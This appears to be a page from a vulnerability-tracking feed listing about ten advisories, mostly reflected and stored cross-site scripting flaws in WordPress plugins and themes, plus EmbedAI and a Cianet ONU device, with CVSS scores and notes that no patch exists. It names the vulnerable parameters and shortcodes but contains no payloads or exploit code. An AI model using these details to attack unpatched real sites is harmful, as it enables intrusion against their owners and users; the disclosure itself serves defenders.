MEDIUM This Month

The Team Rosters plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘tab’ parameter in all versions up to, and including, 4.7 due to insufficient input sanitization and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Team Rosters +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The System Dashboard plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the Filename parameter in all versions up to, and including, 2.8.15 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS System Dashboard +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Ai Image Alt Text Generator for WP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.0.2 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Ai Image Alt Text Generator For Wp +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Storely theme for WordPress is vulnerable to Stored Cross-Site Scripting via a malicious display name in all versions up to, and including, 16.6 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Storely +1
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A vulnerability was found in Cianet ONU GW24AC up to 20250127. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Automatically Hierarchic Categories in Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'autocategorymenu' shortcode in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Alex Reservations: Smart Restaurant Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rr_form' shortcode in all versions up to, and including, 2.0.5 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS
NVD
EPSS 0% CVSS 8.6
HIGH This Month

A Stored Cross-Site Scripting vulnerability has been found in EmbedAI. Rated high severity (CVSS 8.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Embedai Thesamur
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A Reflected Cross-Site Scripting vulnerability has been found in EmbedAI 2.1 and below. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Embedai Thesamur
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP Image Uploader plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'file' parameter in all versions up to, and including, 1.0.1 due to insufficient input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS
NVD
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